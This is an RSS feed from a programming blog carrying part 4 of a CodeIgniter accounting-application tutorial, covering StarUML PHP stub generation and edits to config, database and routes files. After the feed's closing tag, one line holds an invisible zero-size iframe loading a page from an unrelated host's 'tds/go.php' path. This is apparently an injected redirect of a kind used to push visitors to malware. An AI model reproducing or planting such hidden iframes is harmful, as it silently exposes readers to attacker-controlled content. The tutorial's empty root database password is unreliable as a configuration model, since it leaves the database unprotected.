<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dijexi.com &#187; Cashbook Module</title>
	<atom:link href="http://www.dijexi.com/tag/cashbook-module/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dijexi.com</link>
	<description>free programming tutorial, tips and tricks on php, codeigniter, delphi, dotnet, ajax and more..</description>
	<lastBuildDate>Fri, 13 Jan 2012 23:21:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>CodeIgniter Tutorial: [Creating Accounting Application] Part 4 Preparing to Code</title>
		<link>http://www.dijexi.com/2009/09/codeigniter-tutorial-creating-accounting-application-part-4-preparing-to-code/</link>
		<comments>http://www.dijexi.com/2009/09/codeigniter-tutorial-creating-accounting-application-part-4-preparing-to-code/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 08:00:00 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[CodeIgniter]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Accounting Application]]></category>
		<category><![CDATA[Cashbook Module]]></category>
		<category><![CDATA[CodeIgniter tutorial]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/2009/09/codeigniter-tutorial-creating-accounting-application-part-4-preparing-to-code/</guid>
		<description><![CDATA[Generate PHP Code After installing StarUML PHP 5 Code Generator Template , StarUML will have a capability to generate PHP template code based on the models we have defined before. But there’s a little hack to be done so that the naming of the file generated complies with CodeIgniter. These PHP template code files can [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h2>Generate PHP Code</h2>
<p>After installing StarUML <a href="http://staruml.sourceforge.net/en/templates.php">PHP 5 Code Generator Template</a> , StarUML will have a capability to generate PHP template code based on the models we have defined before. But there’s a little hack to be done so that the naming of the file generated complies with CodeIgniter.</p>
<p>These PHP template code files can be used to simplify our jobs by not typing all class’ attributes and methods that we have done in the UML design and analysis phase.</p>
<p><span id="more-1220"></span></p>
<p>Now open and edit the template file for PHP 5 code generation, located at “C:\Program Files\StarUML\modules\staruml-generator\templates\PHP 5 Code Generator\template.cot”. Locate at around line 327:</p>
<div id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:7fc28bbc-cf4b-48b2-8e53-d068865b0f57" class="wlWriterEditableSmartContent" style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px">
<div class="dean_ch" style="white-space: wrap;">fileBegin(getTarget()+&quot;\\&quot;+current().Name+&quot;.class.php&quot;);</div>
</div>
<p>remove the .class extension and change it to</p>
<div id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:7dc1d31a-7efe-4030-b3a0-e8c96655ba1d" class="wlWriterEditableSmartContent" style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px">
<div class="dean_ch" style="white-space: wrap;">fileBegin(getTarget()+&quot;\\&quot;+current().Name+&quot;.php&quot;);</div>
</div>
<p>Save the file. After editing the above line, PHP template file generated will have .php extension and not .class.php extension which is not suitable to be copied to CodeIgniter file structure.</p>
<p>Next we will generate the PHP template code. Open the UML diagram file. Click on “Tools – StarUML Generator..” menu.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratorfromstarUML.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP 5 template code generator from starUML" src="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratorfromstarUML_thumb.png" border="0" alt="PHP 5 template code generator from starUML" width="504" height="304" /></a></p>
<p>A new dialog will be shown where we can choose a template for code generation.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratorfromstarUMLstep2.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP 5 template code generator from starUML step2" src="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratorfromstarUMLstep2_thumb.png" border="0" alt="PHP 5 template code generator from starUML step2" width="504" height="369" /></a></p>
<p>On the dialog, choose PHP 5 Code Generator. Click Next. A new dialog will be shown where we can choose the destination folder to save the generated files.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratorfromstarUMLstep3.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP 5 template code generator from starUML step3" src="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratorfromstarUMLstep3_thumb.png" border="0" alt="PHP 5 template code generator from starUML step3" width="504" height="369" /></a></p>
<p>On the dialog, choose any folder you wish. Then click Next. A new dialog will be shown showing that the generation process is ready to run.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratorfromstarUMLstep4.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP 5 template code generator from starUML step4" src="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratorfromstarUMLstep4_thumb.png" border="0" alt="PHP 5 template code generator from starUML step4" width="504" height="369" /></a></p>
<p>Click on Generate button to start the generation process. Wait a moment until the process is finished. When it was finished, we will have some PHP files that each related to our model and controller class diagram before.</p>
<p>After generating both model and controller template files, we can see them on the destination folder specified before, for example, mine is on “c:\temp” folder.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratedfromstarUML.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="PHP 5 template code generated from starUML" src="http://www.dijexi.com/wp-content/uploads/2009/09/PHP5templatecodegeneratedfromstarUML_thumb.png" border="0" alt="PHP 5 template code generated from starUML" width="504" height="436" /></a></p>
<p>Next, we need to move or copy all model files to CodeIgniter “models” folder and all controller classes to CodeIgniter “controllers” folder. If you followed the instruction exactly as in this tutorial, the it would be at “C:\xampp\htdocs\acct\system\application” folder where you could find “models” and “controllers” folder inside.</p>
<p>Let’s take a look for the generated PHP template file for a model, for example Bankbook_model.php file:</p>
<div id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:919771bd-26ed-4c53-ae55-8439561ff21f" class="wlWriterEditableSmartContent" style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">&lt;?php</span><br />
<span class="kw2">class</span> Bankbook_model <span class="kw2">extends</span> Model <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="re0">$idbankbook</span>;</p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> get<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> getAll<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> addNew<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> addDetails<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> getDetails<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> sumTotal<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> getNewNumber<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> delete<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> posting<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> update<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> deleteDetails<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> updateDetails<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw2">?&gt;</span></div>
</div>
<p>As you can see, we already have a template for our CodeIgniter model that’s ready for us to code the scripts logic inside. It has all the attributes and methods exactly the same as we designed in the UML diagram.</p>
<p>As in the model class’ template, we could also see the controller class’ template. Let’s take a look at the Bankbook.php file for example which is for Bankbook controller class.</p>
<div id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:20bd13b0-3074-473f-8e5b-0f5310c709d7" class="wlWriterEditableSmartContent" style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px">
<div class="dean_ch" style="white-space: wrap;"><span class="kw2">&lt;?php</span></p>
<p><span class="kw2">class</span> Bankbook <span class="kw2">extends</span> Controller <span class="br0">&#123;</span><br />
&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> Bankbook<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> index<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> addNew<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> editForm<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> save<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> delete<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> viewReport<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; <span class="kw2">public</span> <span class="kw2">function</span> addDetail<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span>;<br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="br0">&#125;</span><br />
<span class="kw2">?&gt;</span></div>
</div>
<p>Again we can see that we already have all attributes and methods exactly the same as defined in the UML diagram.</p>
<h2>Edit config.php</h2>
<p>Next, we need to edit our CodeIgniter configuration file to suit our application environment. Open and edit the file “system/application/config/config.php” and locate the line of:</p>
<div id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:b41502f8-9d91-4db3-b22b-8a69d1e6206e" class="wlWriterEditableSmartContent" style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px">
<div class="dean_ch" style="white-space: wrap;"><span class="re0">$config</span><span class="br0">&#91;</span><span class="st0">&#8216;base_url&#8217;</span><span class="br0">&#93;</span> &nbsp; &nbsp;= <span class="st0">&quot;http://example.com/&quot;</span>;</div>
</div>
<p>Change and modify the content of base_url configuration to your own server name, for example <a href="http://localhost/">http://localhost/</a> . Don’t forget to put a trailing forward slash (/) on it. This will be the reference of other CodeIgniter’s class for your server base URL, ie. for calling other web resources on your application like other controller, images, JavaScript files, CSS, etc.</p>
<h2>Edit database.php</h2>
<p>Next, we need to configure our database connectivity parameters to be used by the application. Open and edit the file “system/application/config/database.php” and locate these lines and adjust the parameters to suit your own MySQL database settings:</p>
<div id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:b1985e70-bc02-4888-8df7-6bf7aa782aa3" class="wlWriterEditableSmartContent" style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px">
<div class="dean_ch" style="white-space: wrap;"><span class="re0">$db</span><span class="br0">&#91;</span><span class="st0">&#8216;default&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;hostname&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;localhost&quot;</span>;<br />
<span class="re0">$db</span><span class="br0">&#91;</span><span class="st0">&#8216;default&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;username&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;root&quot;</span>;<br />
<span class="re0">$db</span><span class="br0">&#91;</span><span class="st0">&#8216;default&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;password&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;&quot;</span>;<br />
<span class="re0">$db</span><span class="br0">&#91;</span><span class="st0">&#8216;default&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;database&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;acctdb&quot;</span>;<br />
<span class="re0">$db</span><span class="br0">&#91;</span><span class="st0">&#8216;default&#8217;</span><span class="br0">&#93;</span><span class="br0">&#91;</span><span class="st0">&#8216;dbdriver&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;mysql&quot;</span>;</div>
</div>
<h2>Edit routes.php</h2>
<p>Next, we need to configure the default controller for our application. By default, this controller is called “welcome” and we can find the corresponding controller class file in “system/application/controller/welcome.php”. We need to change it to our main page called “Mainpage.php”.</p>
<p>Open and edit the file “system/application/config/routes.php” and change the default_controller parameter like this.</p>
<div id="scid:f32c3428-b7e9-4f15-a8ea-c502c7ff2e88:8fd13dae-f00f-483c-858d-3d0ed97db82c" class="wlWriterEditableSmartContent" style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px">
<div class="dean_ch" style="white-space: wrap;"><span class="re0">$route</span><span class="br0">&#91;</span><span class="st0">&#8216;default_controller&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;Mainpage&quot;</span>;</div>
</div>
<p>At this point you should be able to access your controller class from browser even though it still do nothing but a blank page.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/09/Starttorunadefinedcodeignitercontrollerclass.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Start to run a defined codeigniter controller class" src="http://www.dijexi.com/wp-content/uploads/2009/09/Starttorunadefinedcodeignitercontrollerclass_thumb.png" border="0" alt="Start to run a defined codeigniter controller class" width="504" height="327" /></a></p>
<p>In this case, a blank page is all right, because we have not defined anything inside the controller methods (index() method in this case). Compare this to access an undefined controller class, for example ‘bank’ controller, that will result a Page not Found error message like this:</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/09/Starttorunaundefinedcodeignitercontrollerclass.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Start to run a undefined codeigniter controller class" src="http://www.dijexi.com/wp-content/uploads/2009/09/Starttorunaundefinedcodeignitercontrollerclass_thumb.png" border="0" alt="Start to run a undefined codeigniter controller class" width="504" height="350" /></a></p>
<p>Try to access other controller classes like cashbook, coa, mainpage, etc. All of them should return a blank page and not any error messages.</p>
<p>In the next step, we will start  to code the logics inside each controller and model classes’ methods based on the specification and user requirement.</p>
<div id="scid:0767317B-992E-4b12-91E0-4F059A8CECA8:b31d0737-af6c-4ddf-9675-9eff07f139dc" class="wlWriterEditableSmartContent" style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px">Technorati Tags: <a rel="tag" href="http://technorati.com/tags/CodeIgniter+Tutorial">CodeIgniter Tutorial</a>,<a rel="tag" href="http://technorati.com/tags/Accounting+Application">Accounting Application</a>,<a rel="tag" href="http://technorati.com/tags/Cashbook+Module">Cashbook Module</a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/07/codeigniter-tutorial-creating-accounting-application-part-1-setting-up-the-environment/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 1 Setting Up the Environment</a></li><li><a href="http://www.dijexi.com/2010/05/codeigniter-tutorial-creating-accounting-application-part-5-the-mainpage/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 5 The Mainpage</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-2-the-application-specification-and-uml-diagrams/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 2 The Application Specification and UML Diagrams</a></li><li><a href="http://www.dijexi.com/2009/08/codeigniter-tutorial-creating-accounting-application-part-3-er-diagram-and-creating-database/" rel="bookmark">CodeIgniter Tutorial: [Creating Accounting Application] Part 3 ER Diagram and Creating Database</a></li><li><a href="http://www.dijexi.com/2009/06/codeigniter-konek-ke-port-mysql-tertentu-selain-3306/" rel="bookmark">CodeIgniter: koneksi ke port MySQL tertentu selain 3306</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F09%2Fcodeigniter-tutorial-creating-accounting-application-part-4-preparing-to-code%2F&amp;linkname=CodeIgniter%20Tutorial%3A%20%5BCreating%20Accounting%20Application%5D%20Part%204%20Preparing%20to%20Code"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/09/codeigniter-tutorial-creating-accounting-application-part-4-preparing-to-code/feed/</wfw:commentRss>
		<slash:comments>31</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
